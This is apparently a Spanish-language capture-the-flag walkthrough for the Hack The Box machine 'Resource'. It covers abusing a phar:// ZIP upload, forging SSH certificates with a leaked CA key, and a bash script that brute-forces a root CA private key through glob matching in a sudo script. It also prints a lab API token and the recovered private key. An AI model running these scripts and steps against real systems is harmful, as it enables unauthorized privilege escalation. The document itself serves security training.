Resource

Enumeración

Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 10.10.11.27.

ping -c 1 10.10.11.27
PING 10.10.11.27 (10.10.11.27) 56(84) bytes of data.
64 bytes from 10.10.11.27: icmp_seq=1 ttl=63 time=95.7 ms

--- 10.10.11.27 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.718/95.718/95.718/0.000 ms

En el output del comando ejecutado en el parámetro ttl se ve que el valor está más cerca del 64 que del 128, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Linux.

TTL OS
64 GNU/Linux
128 Windows

Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y servicios que están asociados a estos.

nmap -p- --open -sCV -n --min-rate 5000 -Pn 10.10.11.27 -oN Scan
Parámetros Descripción
-p- Indica que analice todos los puertos del 1 al 65535
–open Únicamente se escanearan los puertos que estén abiertos
-sC Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto
-sV Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios
-n Se evita realizar resolución DNS
–min-rate Indica la cantidad de paquetes que se envían por segundo, en este caso 5000
-Pn Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos.
-oN Exporta el output del comando ejecutado a un archivo en formato nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-08 09:02 CET
Nmap scan report for 10.10.11.27
Host is up (0.099s latency).
Not shown: 65204 closed tcp ports (reset), 328 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 781e3b851264a1f6df5241ad8f5297c0 (ECDSA)
|_  256 e11ab50e87a4a18169949dd4d4a38af9 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2a683b9906b6c543222ecaf1704bd16 (ECDSA)
|_  256 0cc39c10f57fd3e4a8286a51ad1ae1bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.90 seconds

Los puertos que se han descubierto son:

Puertos Servicio Versión
22 SSH OpenSSH 9.2p1
80 HTTP nginx 1.18.0
2222 SSH OpenSSH 8.9p1

Si nos fijamos, podemos observar que el dominio es itrc.ssg.htb. Por ello, si intentamos acceder directamente, no será posible resolverlo, ya que primero debemos indicarle al sistema que dicho dominio está asociado a la dirección IP 10.10.11.27, agregándolo en el archivo /etc/hosts.

Búsqueda de Vulnerabilidades

Al acceder ahora sí a la página, podemos observar que tenemos la posibilidad de registrarnos e iniciar sesión.

Nos creamos una cuenta, y accedemos

Al acceder, nos muestra un apartado donde podemos crear tickets.

Si observamos, podemos ver que tenemos la posibilidad de subir archivos .zip.

Creamos uno que contenga un archivo .php.

Lo subimos

Y al acceder no vemos nada

Pero si nos fijamos en el código fuente, podemos observar la ruta donde es guardado el archivo.

Al intentar acceder nos intenta descargar el archivo .zip

Utilizando el wrapper phar:// que permite acceder a archivos dentro de archivo .phar (archivos PHP), pero también a otros archivos comprimidos como por ejemplo los archivos .zip, podemos ver el contenido de nuestro archivo PHP.

Sabiendo esto, crearemos un archivo PHP el cual envíe una Reverse Shell a nuestro equipo.

Si miramos los archivos que hay en el directorio uploads, podemos observar, que hay un comprimido .zip que llama mucho la atención, y es que tiene un mayor tamaño que los demás.

Nos lo enviamos a nuestra maquina para poder operar de forma mas cómoda.

Y podemos observar que dentro contiene un archivo

Al mirar dentro de este podemos ver unas credenciales.

Si tratamos de acceder vía SSH con las credenciales encontradas si nos deja acceder, pero si nos fijamos vemos que estamos dentro de un contenedor.

ssh msainristil@10.10.11.27
msainristil@10.10.11.27's password: 
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb  8 17:40:57 2025 from 10.10.14.11
msainristil@itrc:~$ 

Vemos que hay un usuario con nombre zzinter.

msainristil@itrc:~$ grep sh$ /etc/passwd 
root:x:0:0:root:/root:/bin/bash
msainristil:x:1000:1000::/home/msainristil:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash
msainristil@itrc:~$ 

Si miramos en nuestro directorio de trabajo, podemos observar que tenemos un directorio el cual contiene 2 claves, una privada y una publica de una entidad certificadora CA.

msainristil@itrc:~$ ls -la                     
total 36
drwx------ 1 msainristil msainristil 4096 Feb  8 19:20 .
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root        root           9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil  220 Mar 29  2024 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29  2024 .bashrc
-rw-r--r-- 1 msainristil msainristil  807 Mar 29  2024 .profile
drwx------ 2 msainristil msainristil 4096 Feb  8 19:20 .ssh
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 decommission_old_ca
msainristil@itrc:~$ 
msainristil@itrc:~$ ls -l decommission_old_ca/
total 8
-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub
msainristil@itrc:~$

En este post podemos ver como firmar y autorizar claves cuando tenemos certificados.

Generamos una clave privada y publica.

msainristil@itrc:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/msainristil/.ssh/id_rsa): 
Created directory '/home/msainristil/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/msainristil/.ssh/id_rsa
Your public key has been saved in /home/msainristil/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:BuHoeX2O1dmgnzo10qJ+aje2G5wAoWJwpcrJl+39HMg msainristil@itrc
The key's randomart image is:
+---[RSA 3072]----+
|. ... o          |
| o . + o         |
|  + o +     .    |
|oo.oo. +   o +   |
|.+ oo.. S +.o .  |
|  . ..o..Boo+.   |
|     . E.o=+o.   |
|        = Bo     |
|       ooB+=     |
+----[SHA256]-----+
msainristil@itrc:~$ ls -l .ssh/
total 8
-rw------- 1 msainristil msainristil 2602 Feb  8 19:20 id_rsa
-rw-r--r-- 1 msainristil msainristil  570 Feb  8 19:20 id_rsa.pub
msainristil@itrc:~$

Ahora generamos el certificado firmando la clave publica con la clave privada de la entidad certificadora a nombre del usuario zzinter.

msainristil@itrc:~$ ssh-keygen -s decommission_old_ca/ca-itrc -n zzinter -I anything .ssh/id_rsa.pub 
Signed user key .ssh/id_rsa-cert.pub: id "anything" serial 0 for zzinter valid forever
msainristil@itrc:~$ 
Parámetros Descripción
-s Indica la clave privada de la entidad certificadora
-n Especifica que el certificado es válido para el usuario indicado
-I Puede contener cualquier string que queramos

Si vemos el contenido del directorio .ssh, podemos ver que nos ha creado el certificado.

msainristil@itrc:~$ ls -l .ssh/
total 12
-rw------- 1 msainristil msainristil 2602 Feb  8 19:20 id_rsa
-rw-r--r-- 1 msainristil msainristil 2023 Feb  8 19:39 id_rsa-cert.pub
-rw-r--r-- 1 msainristil msainristil  570 Feb  8 19:20 id_rsa.pub
msainristil@itrc:~$ 

Con el certificado ya creado, ya podemos acceder sin proporcionar ninguna contraseña, como el usuario zzinter.

msainristil@itrc:~$ ssh -o CertificateFile=.ssh/id_rsa-cert.pub -i .ssh/id_rsa zzinter@localhost
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb  8 19:53:14 2025 from 127.0.0.1
zzinter@itrc:~$
Parámetros Descripción
-o CertificateFile Especifica el certificado SSH que fue firmado por la CA
-i Usa la clave privada correspondiente

Podemos ver la primera flag.

zzinter@itrc:~$ cat user.txt 
399*****************************
zzinter@itrc:~$ 

Si miramos el contenido del directorio de trabajo, vemos cierto archivo, que realiza el mismo procedimiento de firmar la clave publica con la clave privada.

zzinter@itrc:~$ ls -l 
total 8
-rw-rw-r-- 1 root root    1193 Feb 19  2024 sign_key_api.sh
-rw-r----- 1 root zzinter   33 Feb  8 10:13 user.txt
zzinter@itrc:~$ cat sign_key_api.sh 
#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
zzinter@itrc:~$ 

El script toma una clave publica, un nombre de usuario y uno de los elementos de la variable support_principals que serían las identidades autorizadas a conectarse como usuarios específicos en el sistema, y si nos fijamos lo envía a un dominio remoto con nombre signserv.ssg.htb a través de una petición POST

Creamos una clave privada y publica.

zzinter@itrc:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/zzinter/.ssh/id_rsa): 
Created directory '/home/zzinter/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/zzinter/.ssh/id_rsa
Your public key has been saved in /home/zzinter/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:dWOMy7LPKPwMkVzu7JgHukV4PU4ym05sbG/UCvejydA zzinter@itrc
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|           o     |
|        . o =    |
|     o = o + .   |
|    . O S.o      |
|     =o%o+.      |
|     o%=Eo       |
|    .*oX+=o      |
|    ..+=X.o.     |
+----[SHA256]-----+
zzinter@itrc:~$                

Creamos un certificado para cada uno de las identidades autorizadas

zzinter@itrc:~$ bash sign_key_api.sh .ssh/id_rsa.pub test webserver > webserver-cert
zzinter@itrc:~$ bash sign_key_api.sh .ssh/id_rsa.pub test analytics > analytics-cert
zzinter@itrc:~$ bash sign_key_api.sh .ssh/id_rsa.pub test support > support-cert
zzinter@itrc:~$ bash sign_key_api.sh .ssh/id_rsa.pub test security > security-cert

Y probamos cual de las certificaciones nos permite acceder, pero ahora a través del puerto 2222 que es el puerto SSH de la máquina host.

zzinter@itrc:~$ ssh -o CertificateFile=webserver-cert -i .ssh/id_rsa webserver@172.223.0.1 -p 2222                                                                                     
webserver@172.223.0.1's password: 

zzinter@itrc:~$ ssh -o CertificateFile=analytics-cert -i .ssh/id_rsa analytics@172.223.0.1 -p 2222                                                                                     
analytics@172.223.0.1's password: 

zzinter@itrc:~$ ssh -o CertificateFile=support-cert -i .ssh/id_rsa support@172.223.0.1 -p 2222                                                                                         
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  9 10:13:39 AM UTC 2025

  System load:  0.07               Processes:             240
  Usage of /:   76.6% of 10.73GB   Users logged in:       0
  Memory usage: 12%                IPv4 address for eth0: 10.10.11.27
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Feb  9 09:50:55 2025 from 172.223.0.3
support@ssg:~$ 

El certificado que si nos permite acceder es el de support, buscando por directorios vemos el /etc/ssh/auth_principals/ que contienen una lista de principals que tienen permiso para autenticarse como ese usuario.

support@ssg:~$ ls -la /etc/ssh/auth_principals/
total 20
drwxr-xr-x 2 root root 4096 Feb  8  2024 .
drwxr-xr-x 5 root root 4096 Jul 24  2024 ..
-rw-r--r-- 1 root root   10 Feb  8  2024 root
-rw-r--r-- 1 root root   18 Feb  8  2024 support
-rw-r--r-- 1 root root   13 Feb  8  2024 zzinter
support@ssg:~$ cat /etc/ssh/auth_principals/root     
root_user
support@ssg:~$ cat /etc/ssh/auth_principals/support 
support
root_user
support@ssg:~$ cat /etc/ssh/auth_principals/zzinter 
zzinter_temp
support@ssg:~$  

En este caso vemos 2 principals nuevos, root_user para los usuarios root y support y zzinter_temp para el usuario zzinter.

Volvemos al contenedor y añadimos esos nombres de principals al nuevo nuevo script.

zzinter@itrc:~$ cat /tmp/sign_key_api.sh 
#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security,root_user,zzinter_temp"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
zzinter@itrc:~$ 

Al crearnos los certificados, vemos que solo nos permite crear el de zzinter_temp.

zzinter@itrc:~$ bash /tmp/sign_key_api.sh .ssh/id_rsa.pub test root_user
{"detail":"Root access must be granted manually. See the IT admin staff."}
zzinter@itrc:~$ bash /tmp/sign_key_api.sh .ssh/id_rsa.pub test zzinter_temp
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgO0IZwKaBknnH55DX45YmN6a4y6J9DwlBoK3uzQf8ijEAAAADAQABAAABgQCoBINXBDoT7LJNECgtCco1KFJwPujAHDK31kXaiJY5rdev9Z2GbSXd0fN4Rb73rzQmyuHAZ/31MLR4qNFvKalIOXThFn5pEmCCk/kEbVyMqW0oW13gynJu1gvR8tK9SZl540zxR7eyIRS/5o1PNQotbdyWZSZ7K4H8py9a6ypf5vg0MA3T/XcISw02JHZCGMvS+7562sCdq/RQ6tWDbOgKJ+JGNq8wn5YI98kvQxATUonMsVuPQYTgobeg6v/RhE4awu0gzhBdzHaTlmmEt9dkFBQRdyduZHkzs/kcHBUODRWHFYGQwAeVbdBsiqCGw2nWCtCws7KfbaX8u3GXVCa1qjVoxJ/vfIGG3cMKHEBRy8929dG9eyrSdwy9Hf4XSJizzN9sv90hCwjNhB0xqsJEksuLC2nzv9FZbiy6H8LsNI5PcvcUI+3wORm0f9Avd4ezbH+W3o8xFa3fSU4/GYCer0hdAVgtRKfrG0cceXjPZCvcB5QIXaJeDGEj5FGnBWkAAAAAAAAALAAAAAEAAAAEdGVzdAAAABAAAAAMenppbnRlcl90ZW1wAAAAAGefSV3//////////wAAAAAAAACCAAAAFXBlcm1pdC1YMTEtZm9yd2FyZGluZwAAAAAAAAAXcGVybWl0LWFnZW50LWZvcndhcmRpbmcAAAAAAAAAFnBlcm1pdC1wb3J0LWZvcndhcmRpbmcAAAAAAAAACnBlcm1pdC1wdHkAAAAAAAAADnBlcm1pdC11c2VyLXJjAAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmxAAAAUwAAAAtzc2gtZWQyNTUxOQAAAED8aXYAGX+JZWGTonfEBr2RNhki+k8bRE4WUEf3YFPkOBs8FKYC9j8hIyYNySvHMisWsfc/Ga/AOIstm3r+FQgE zzinter@itrc
zzinter@itrc:~$ 

Accedemos como el usuario zzinter y vemos que si que funciona.

zzinter@itrc:~$ ssh -o CertificateFile=zzinter_temp-cert -i .ssh/id_rsa zzinter@172.223.0.1 -p 2222
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  9 10:41:31 AM UTC 2025

  System load:  0.0                Processes:             240
  Usage of /:   76.7% of 10.73GB   Users logged in:       0
  Memory usage: 12%                IPv4 address for eth0: 10.10.11.27
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Feb  9 10:34:09 2025 from 172.223.0.3
zzinter@ssg:~$ hostname -I
10.10.11.27 172.17.0.1 172.21.0.1 172.223.0.1 
zzinter@ssg:~$ 

Si miramos los permisos que tenemos, vemos que podemos ejecutar cierto script como el usuario root y sin proporcionar la contraseña.

zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh
zzinter@ssg:~$ 

Mirando el código del script vemos que está creando un certificado

zzinter@ssg:~$ cat /opt/sign_key.sh 
#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"

zzinter@ssg:~$ 

Si miramos esta parte de código, podemos observar que esta comparando la clave privada de la entidad certificadora /etc/ssh/ca-it con la clave privada que el usuario envía y en caso de que sean iguales, el script mostrara el mensaje Error: Use API for signing with this CA.

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

Pero nosotros no tenemos los permisos necesarios para poder ver el contenido de dicha clave privada

zzinter@ssg:~$ ls -l /etc/ssh/ca-it
-rw------- 1 root root 432 Feb  8  2024 /etc/ssh/ca-it
zzinter@ssg:~$ 

Copiamos ese trozo de código para realizar una prueba

zzinter@ssg:~$ cat test.sh 
#!/usr/bin/bash

ca_file=$1

itca=$(cat /home/zzinter/key_origin)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
fi
zzinter@ssg:~$ 

En este caso vamos a comparar el archivo key_origin con el archivo que enviará el usuario, en este caso new_key .

zzinter@ssg:~$ cat key_origin 
klhasdgklgy
zzinter@ssg:~$ cat new_key 
qwetawsdgsy
zzinter@ssg:~$ 

De primeras parecería que los 2 archivos no son iguales, y es cierto ya que al ejecutar el script, no recibimos ningún mensaje.

zzinter@ssg:~$ ./test.sh new_key
zzinter@ssg:~$ 

Pero si ahora, en el archivo new_key le añadimos un asterisco * resulta que ahora el contenido de los 2 archivos si son iguales.

zzinter@ssg:~$ cat key_origin 
klhasdgklgy
zzinter@ssg:~$ cat new_key 
*y
zzinter@ssg:~$ ./test.sh new_key
Error: Use API for signing with this CA.
zzinter@ssg:~$ 

Esto es debido a que al indicarle un asterisco, le estamos diciendo que hay contenido, y que después de ese contenido, termina con la letra y, pues lo mismo que con el contenido de key_origin empieza por contenido, y termina con la letra y .

Pues jugando con este concepto podríamos averiguar la clave privada de la autoridad certificadora (CA) mediante fuerza bruta.

#!/bin/bash  
  
characters='-=+ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/ !'  
key=""  


while true; do  
      
    cp new_key new_key2  
  
    for (( x=0; x<${#characters}; x++ )); do  
  
        char="${characters:$x:1}"  
  
        if [[ $char == "!" ]]; then  
            char="\n"  
        fi  
  
        echo -e "*$char$key" > new_key  
  
        sudo /opt/sign_key.sh new_key test_id root test 1 | grep "API" 1>/dev/null  
  
        if [[ $? -eq 0 ]]; then  
            key="${char}${key}"  
            break  
        fi  
  
    done  
  
    echo -e "$key" > new_key  
  
    diff new_key new_key2 1>/dev/null  
  
    if [[ $? -eq 0 ]]; then  
        break  
    fi  
  
done  
  
rm new_key2  
  
mv new_key key_cert

Ejecutamos el script y al esperar un tiempo, nos crea la clave privada de la entidad certificadora.

zzinter@ssg:~$ ./bruteforce_key.sh
zzinter@ssg:~$ cat key_cert 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
zzinter@ssg:~$ 

Con la clave privada ya obtenida, podemos crear el certificado que utilizaremos para poder luego acceder como el usuario root.

Creamos la clave SSH.

zzinter@ssg:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/zzinter/.ssh/id_rsa): 
Created directory '/home/zzinter/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/zzinter/.ssh/id_rsa
Your public key has been saved in /home/zzinter/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:CRluuFDYuIbp2BPUQZ4Q7O+bCJPliVhqLyITz1DqMEs zzinter@ssg
The key's randomart image is:
+---[RSA 3072]----+
| .oB+..          |
|  =+o+ o         |
| =..+ =          |
|o *. o . .       |
|o=oo.   S        |
|OEo..            |
|@Ooo             |
|*=+...           |
|o.o.o.           |
+----[SHA256]-----+
zzinter@ssg:~$ 

Creamos el certificado.

zzinter@ssg:~$ chmod 600 key_cert 
zzinter@ssg:~$ ssh-keygen -s key_cert -n root_user -I anything .ssh/id_rsa.pub
Signed user key .ssh/id_rsa-cert.pub: id "anything" serial 0 for root_user valid forever
zzinter@ssg:~$ ls -l .ssh/
total 12
-rw------- 1 zzinter zzinter 2602 Feb  9 12:41 id_rsa
-rw-r--r-- 1 zzinter zzinter 1118 Feb  9 12:44 id_rsa-cert.pub
-rw-r--r-- 1 zzinter zzinter  565 Feb  9 12:41 id_rsa.pub
zzinter@ssg:~$ 

Finalmente podemos acceder como el usuario root.

zzinter@ssg:~$ ssh -o CertificateFile=.ssh/id_rsa-cert.pub -i .ssh/id_rsa root@localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:tOsmHdA7xDQq2UDyCf0EobZ/LcitevFrAQ6RSJCy10Q.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  9 12:47:17 PM UTC 2025

  System load:  0.0                Processes:             246
  Usage of /:   88.1% of 10.73GB   Users logged in:       1
  Memory usage: 13%                IPv4 address for eth0: 10.10.11.27
  Swap usage:   0%

  => / is using 88.1% of 10.73GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@ssg:~# 

Y ya podemos visualizar la ultima flag.

root@ssg:~# cat root.txt 
229*****************************
root@ssg:~# 

Aqui se explica con detalle el AutoPWN de la máquina Resource.


© - Mr. Pr1ngl3s